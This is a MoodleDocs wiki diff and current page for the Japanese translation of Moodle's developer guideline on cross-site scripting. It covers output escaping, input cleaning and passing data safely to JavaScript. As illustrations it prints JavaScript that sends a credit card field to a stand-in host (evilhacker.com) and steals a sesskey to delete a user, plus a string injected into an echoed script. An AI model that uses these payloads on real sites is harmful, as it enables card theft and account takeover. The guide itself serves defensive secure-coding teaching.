「開発:セキュリティ:クロスサイトスクリプティング」の版間の差分

提供:MoodleDocs
移動先:案内検索
(done.)
 
(同じ利用者による、間の30版が非表示)
1行目: 1行目:
作成中です - [[利用者:Mitsuhiro Yoshida|Mitsuhiro Yoshida]] 2010年1月9日 (土) 16:27 (UTC)
このページは、[[開発:セキュリティ|Moodleセキュリティガイドライン]]の一部です。
このページは、[[開発:セキュリティ|Moodleセキュリティガイドライン]]の一部です。


==何が危険ですか?==
==何が危険ですか?==


通常、ウェブブラウザでは、コンテンツに影響を及ぼす恐れのある、別サーバからのJavaスクリプトの実行を避けるようになっています。例えば、あなたのMoodleページ (<nowiki>http://mymooodle.com/</nowiki> 内のiframeに <nowiki>http://makemerich.com/</nowiki> の広告を表示していると考えましょう。広告ページのJavaスクリプトは、あなたのページすべてにアクセスすることはできません。
通常、ウェブブラウザでは、コンテンツに影響を及ぼす恐れのある、別サーバからのJavaスクリプトの実行を避けるようになっています。例えば、あなたのMoodleページ (<nowiki>http://mymooodle.com/</nowiki>) 内のiframeに <nowiki>http://makemerich.com/</nowiki> の広告を表示していると考えましょう。広告ページのJavaスクリプトは、あなたのページすべてにアクセスすることはできません。


Moodleでは、実際、私たちはユーザにHTMLを入力させて、ウェブサイトの一部として表示しています。そのため、Moodleページに含まれているJavaスクリプトは、ページすべてにフルアクセスすることができてしまいます。
実際、Moodleでは、私たちがユーザにHTMLを入力させ、ウェブサイトの一部として表示しています。そのため、Moodleページに含まれているJavaスクリプトは、ページすべてにフルアクセスすることができてしまいます。


なぜそれが問題なのでしょう? それでは、不道徳なハッカーが次のようなコードをクレジットカード番号入力ページに埋め込んだとしましょう。
なぜそれが問題なのでしょう? それでは、悪意のあるハッカーが次のようなコードをクレジットカード番号入力ページに埋め込んだとしましょう。
<code javascript>
<code javascript>
  document.write('<img width="1" height="1" ' +
  document.write('<img width="1" height="1" ' +
25行目: 23行目:
または、さらに洗練された方法では、管理者が移動できるフォーラムでJavaスクリプトをPOSTリクエストとして実行させます。これは、非常に悪い結果となります。
または、さらに洗練された方法では、管理者が移動できるフォーラムでJavaスクリプトをPOSTリクエストとして実行させます。これは、非常に悪い結果となります。


少なくともInternet Explorerでは、HTML内と同様に、JavaスクリプトはCSSスタイル情報内に隠すことができることに留意してください。ブラウザのJavaスクリプトエンジンと同様に、FlashおよびJavaアプレットもスクリプト実行に使用することができます。
少なくともInternet Explorerでは、HTML内と同様に、JavaスクリプトをCSSスタイル情報内に隠すことができることに留意してください。ブラウザのJavaスクリプトエンジンと同様に、FlashおよびJavaアプレットもスクリプト実行に使用することができます。


危険なコンテンツは、ユーザによって直接Moodleに入れられるだけではないことにも留意してください。例えば、外部RSSフィードから入ってくることも考えられます。
危険なコンテンツは、ユーザによって直接Moodleに入れられるだけではないことにも留意してください。例えば、外部RSSフィードから入ってくることも考えられます。


==どのようにして、Moodleはこの問題を回避するか==
==どのようにして、Moodleはこの問題を回避するのですか?==


XSSアタックに対するシンプルな解決方法は、ユーザにHTMLのようなリッチコンテントの入力させない、またFlashのようなプラグインをアップロードさせないことです。残念ですが、Moodleでは、私たちはユーザにリッチコンテンツを使わせたいと考えています。例えば、私たちは、フォーラム内で学生にオレンジ色のテキストを点滅させて自分を表現させたいと考えることがあります。また、私たちは、学生が使用するために、教師が面白いアプレットをアップロードできるようにしたい考えることもあります。それゆえ、私たちは譲歩する必要があるのです。
XSSアタックに対するシンプルな解決方法は、ユーザにHTMLのようなリッチコンテンツの入力させない、またFlashのようなプラグインをアップロードさせないことです。残念ですが、Moodleでは、私たちはユーザにリッチコンテンツを使わせたいと考えています。例えば、私たちは、フォーラム内で学生にオレンジ色のテキストを点滅させて自分を表現させたいと考えることがあります。また、私たちは、学生が使用するために、教師が面白いアプレットをアップロードできるようにしたいと考えることもあります。それゆえ、私たちは譲歩する必要があるのです。


===アウトプットをエスケープする===
===アウトプットをエスケープする===
38行目: 36行目:
# プレインテキストコンテンツ。例えば、小テストの記述問題に対する学生の解答。
# プレインテキストコンテンツ。例えば、小テストの記述問題に対する学生の解答。
# multi-lang spanを含んだラベル除く、プレインテキストのラベル。例えば、コース名またはセクションタイトル。
# multi-lang spanを含んだラベル除く、プレインテキストのラベル。例えば、コース名またはセクションタイトル。
# HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.
# すべてのユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。
# HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.
# 教師のように信頼されるユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。


Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any < character with &amp;lt;. If that is done, there is no way that the input can be interpreted as JavaScript.
コンテンツタイプに応じて、あなたは適切な出力関数を使用する必要があります。例えば、あなたがプレインテキストコンテンツを使用する場合、コンテンツを出力するため、s() 関数を使用すべきです。この関数では、すべての「<」文字を「&anp;」に置換します。この置換が実行された場合、入力内容がJavaスクリプトと解釈されることはありません。


===Cleaning input===
===インプットのクリーニング===


The other part of the protection is cleaning up date as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript.
もう一方のプロテクションは、日付が入力される時点でクリーニングすることです。これは、optional_paramまたはrequired_param関数を使用して実行されます。例えば、あなたが整数の入力を期待する場合、PARAM_INTを通すことで、整数のみ戻すことができます。変数に数値のみ含まれていることを知っている場合、あなたは、悪意のあるJavaスクリプトが含まれていないことを確信することができます。


However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.
しかし、HTMLのように非常に手の込んだ入力では、コードがいくつかの複雑な状態をまずく処理してしまう可能性もあります。アルゴリズムは、将来的に、ほぼ確実に改善されますので、複雑なコンテンツに関して、私たちは生の入力をデータベースに保存して、最新のアルゴリズムを使用することにより、出力時のみクリーニングします。


===出力をエスケープする 2 - Javaスクリプト===


===Escaping output 2 - JavaScript===
あなたが注意する必要のある、他の部分は、Javaスクリプトへのデータ送信です。例えば、あなたが、以下のようなJavaスクリプトをPHPコード内に作成した場合:
 
The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like
<code php>
<code php>
echo '<script type="text/javascript">';
echo '<script type="text/javascript">';
58行目: 55行目:
echo '</script>';
echo '</script>';
</code>
</code>
and Evil hacker can make $userinput equal to something like '''"); /* Do something evil. */ (''' then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.
悪意のあるハッカーは、$userinput に対して「'''"); /* Do something evil. */ ('''」のような文字列を入力した後、「/* Do something evil. */」の中に悪さをするためのコードを入力して、あなたのウェブページで実行することができてしまいます。
 
In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the [[Development:JavaScript_guidelines|JavaScript guidelines]], and put your JavaScript in an external file, and communicate with it using '''$PAGE->requires->data_for_js''' or '''$PAGE->requires->js_function_call'''. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.


Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the '''addslashes_js''' function for safely encoding PHP strings for inclusion in JavaScript code.
Moodle 2.0およびそれ以降のバージョンのベストな解決方法は、このようなJavaスクリプトをechoしないことです。代わりに、[[開発:Javaスクリプトガイドライン|Javaスクリプトガイドライン]]に従ってください。そして、あなたのJavaスクリプトを外部ファイルに置いた後、'''$PAGE->requires->data_for_js''' または '''$PAGE->requires->js_function_call''' を使用してコミュニケートしてください。これら2つのメソッドは、json_encodeを使用して、Javaスクリプトに渡されるPHPコードすべてを適切にエンコードします。


==What you need to do in your code==
Moodle 1.9以前のバージョンでは、利用可能なツールは、それほど洗練されていませんでした。あなたは、まだ外部ファイルに可能なだけJavaスクリプトを記述して、require_jsを使ってインクルードする必要があります。しかし、PHPからJavaスクリプト自身へのデータ送信は、あなたが実施する必要があります。Moodle 1.9およびそれ以前のバージョンでは、Javaスクリプトコード内へのPHPストリングのインクルードに関して、安全にエンコードするため、'''addslashes_js'''関数が提供されています。


* Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.
==あなたのコードで、あなたがすべきこと==
* Alternatively, use a '''[[Development:lib/formslib.php|moodleforms]]''', with appropriate ->setType calls in the form definition.
* Clean or escape content appropriately on output.
** Use '''s''' or '''p''' to output plain text content (type 1 above).
** use '''format_string''' to output content with minimal HTML like multi-lang spans (type 2 above).
** Use '''format_text''' to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text.
* Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.
* When sending data to JavaScript code:
** In Moodle 2.0 and later, use the '''$PAGE->requires->data_for_js''' or ''$PAGE->requires->js_function_call''' methods.
** In Moodle 1.9 and earlier, escape the data with '''addslashes_js''' before printing it into the JavaScript code.


==What you need to do as an administrator==
* あなたが希望するデータタイプのみ受け付けるよう、適切なPARAM_...タイプにより、入力値をoptional_paramまたはrequired_paramで取得します。
* 代わりに、フォームに適切な->setTypeを定義した、'''[[Development:lib/formslib.php|moodleforms]]'''を使用してください。
* 出力時、コンテンツを適切にクリーニングまたはエスケープしてください。
** プレインテキストコンテンツの出力には、'''s''' または '''p''' を使用してください (上記タイプ1)。
** multi-lang spanのように、最小限のHTMLのコンテンツを出力するには、'''format_string'''を使用してください (上記タイプ2)。
** 他のすべてのコンテンツを出力するには、'''format_text'''を使用してください (上記タイプ3および4)。どの程度コンテンツがクリーニングされるかは (つまり、タイプ3および4の違い)、format_textに対する$options->noclean値に依存します。
* 入力されたコンテンツを、format_textおよび$options->nocleanを使用して出力する場合、ケイパビリティチェックする必要があります。また、そのケイパビリティは、必ずRISK_XSSにマークしてください。
* Javaスクリプトのデータを送信する場合:
** Moodle 2.0またはそれ以降のバージョンでは、'''$PAGE->requires->data_for_js'''または'''$PAGE->requires->js_function_call'''メソッドを使用します。
** Moodle 1.9およびそれ以前のバージョンでは、表示前にJavaスクリプトコードのデータを'''addslashes_js'''を使用してエスケープします。


* Do not allow a user to have a capability with RISK_XSS unless you trust them.
==管理者として、あなたがすべきこと==
** The [[Security overview]] report can help you check this.


* あなたが信頼しない限り、ユーザにRISK_XSSのケイパビリティを割り当てないでください。
** [[セキュリティオーバービュー]]レポートにより、この割り当てをチェックすることができます。


==関連情報==
==関連情報==


* [[Development:セキュリティ]]
* [[開発:セキュリティ]]
* [[Development:コーディング]]
* [[開発:コーディング]]


[[Category:開発者]]
[[Category:開発者]]

2010年2月16日 (火) 16:23時点における最新版

このページは、Moodleセキュリティガイドラインの一部です。

何が危険ですか?

通常、ウェブブラウザでは、コンテンツに影響を及ぼす恐れのある、別サーバからのJavaスクリプトの実行を避けるようになっています。例えば、あなたのMoodleページ (http://mymooodle.com/) 内のiframeに http://makemerich.com/ の広告を表示していると考えましょう。広告ページのJavaスクリプトは、あなたのページすべてにアクセスすることはできません。

実際、Moodleでは、私たちがユーザにHTMLを入力させ、ウェブサイトの一部として表示しています。そのため、Moodleページに含まれているJavaスクリプトは、ページすべてにフルアクセスすることができてしまいます。

なぜそれが問題なのでしょう? それでは、悪意のあるハッカーが次のようなコードをクレジットカード番号入力ページに埋め込んだとしましょう。

document.write('<img width="1" height="1" ' +
    'src="http://evilhacker.com/savedata.php?creditcard=' +
    document.getElementById('creditcard').value + '" />');

実際のところ、これはMoodleにおいて極めて起こりそうもないシナリオですが、可能性のある、もっともらしいシナリオです。

XSSのもう1つの問題は、悪意のあるハッカーがsesskeyプロテクションを避けて通ることができる点です。例えば、

document.write('<img width="1" height="1" ' +
    'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' +
    document.getElementById('sesskey').value + '" />');

または、さらに洗練された方法では、管理者が移動できるフォーラムでJavaスクリプトをPOSTリクエストとして実行させます。これは、非常に悪い結果となります。

少なくともInternet Explorerでは、HTML内と同様に、JavaスクリプトをCSSスタイル情報内に隠すことができることに留意してください。ブラウザのJavaスクリプトエンジンと同様に、FlashおよびJavaアプレットもスクリプト実行に使用することができます。

危険なコンテンツは、ユーザによって直接Moodleに入れられるだけではないことにも留意してください。例えば、外部RSSフィードから入ってくることも考えられます。

どのようにして、Moodleはこの問題を回避するのですか?

XSSアタックに対するシンプルな解決方法は、ユーザにHTMLのようなリッチコンテンツの入力させない、またFlashのようなプラグインをアップロードさせないことです。残念ですが、Moodleでは、私たちはユーザにリッチコンテンツを使わせたいと考えています。例えば、私たちは、フォーラム内で学生にオレンジ色のテキストを点滅させて自分を表現させたいと考えることがあります。また、私たちは、学生が使用するために、教師が面白いアプレットをアップロードできるようにしたいと考えることもあります。それゆえ、私たちは譲歩する必要があるのです。

アウトプットをエスケープする

Moodleは、ユーザによって入力されたコンテンツを4つのカテゴリに分類します:

  1. プレインテキストコンテンツ。例えば、小テストの記述問題に対する学生の解答。
  2. multi-lang spanを含んだラベル除く、プレインテキストのラベル。例えば、コース名またはセクションタイトル。
  3. すべてのユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。
  4. 教師のように信頼されるユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。

コンテンツタイプに応じて、あなたは適切な出力関数を使用する必要があります。例えば、あなたがプレインテキストコンテンツを使用する場合、コンテンツを出力するため、s() 関数を使用すべきです。この関数では、すべての「<」文字を「&anp;」に置換します。この置換が実行された場合、入力内容がJavaスクリプトと解釈されることはありません。

インプットのクリーニング

もう一方のプロテクションは、日付が入力される時点でクリーニングすることです。これは、optional_paramまたはrequired_param関数を使用して実行されます。例えば、あなたが整数の入力を期待する場合、PARAM_INTを通すことで、整数のみ戻すことができます。変数に数値のみ含まれていることを知っている場合、あなたは、悪意のあるJavaスクリプトが含まれていないことを確信することができます。

しかし、HTMLのように非常に手の込んだ入力では、コードがいくつかの複雑な状態をまずく処理してしまう可能性もあります。アルゴリズムは、将来的に、ほぼ確実に改善されますので、複雑なコンテンツに関して、私たちは生の入力をデータベースに保存して、最新のアルゴリズムを使用することにより、出力時のみクリーニングします。

出力をエスケープする 2 - Javaスクリプト

あなたが注意する必要のある、他の部分は、Javaスクリプトへのデータ送信です。例えば、あなたが、以下のようなJavaスクリプトをPHPコード内に作成した場合: echo '<script type="text/javascript">'; echo 'alert("' . $userinput . '");'; echo '</script>'; 悪意のあるハッカーは、$userinput に対して「"); /* Do something evil. */ (」のような文字列を入力した後、「/* Do something evil. */」の中に悪さをするためのコードを入力して、あなたのウェブページで実行することができてしまいます。

Moodle 2.0およびそれ以降のバージョンのベストな解決方法は、このようなJavaスクリプトをechoしないことです。代わりに、Javaスクリプトガイドラインに従ってください。そして、あなたのJavaスクリプトを外部ファイルに置いた後、$PAGE->requires->data_for_js または $PAGE->requires->js_function_call を使用してコミュニケートしてください。これら2つのメソッドは、json_encodeを使用して、Javaスクリプトに渡されるPHPコードすべてを適切にエンコードします。

Moodle 1.9以前のバージョンでは、利用可能なツールは、それほど洗練されていませんでした。あなたは、まだ外部ファイルに可能なだけJavaスクリプトを記述して、require_jsを使ってインクルードする必要があります。しかし、PHPからJavaスクリプト自身へのデータ送信は、あなたが実施する必要があります。Moodle 1.9およびそれ以前のバージョンでは、Javaスクリプトコード内へのPHPストリングのインクルードに関して、安全にエンコードするため、addslashes_js関数が提供されています。

あなたのコードで、あなたがすべきこと

  • あなたが希望するデータタイプのみ受け付けるよう、適切なPARAM_...タイプにより、入力値をoptional_paramまたはrequired_paramで取得します。
  • 代わりに、フォームに適切な->setTypeを定義した、moodleformsを使用してください。
  • 出力時、コンテンツを適切にクリーニングまたはエスケープしてください。
    • プレインテキストコンテンツの出力には、s または p を使用してください (上記タイプ1)。
    • multi-lang spanのように、最小限のHTMLのコンテンツを出力するには、format_stringを使用してください (上記タイプ2)。
    • 他のすべてのコンテンツを出力するには、format_textを使用してください (上記タイプ3および4)。どの程度コンテンツがクリーニングされるかは (つまり、タイプ3および4の違い)、format_textに対する$options->noclean値に依存します。
  • 入力されたコンテンツを、format_textおよび$options->nocleanを使用して出力する場合、ケイパビリティチェックする必要があります。また、そのケイパビリティは、必ずRISK_XSSにマークしてください。
  • Javaスクリプトのデータを送信する場合:
    • Moodle 2.0またはそれ以降のバージョンでは、$PAGE->requires->data_for_jsまたは$PAGE->requires->js_function_callメソッドを使用します。
    • Moodle 1.9およびそれ以前のバージョンでは、表示前にJavaスクリプトコードのデータをaddslashes_jsを使用してエスケープします。

管理者として、あなたがすべきこと

  • あなたが信頼しない限り、ユーザにRISK_XSSのケイパビリティを割り当てないでください。

関連情報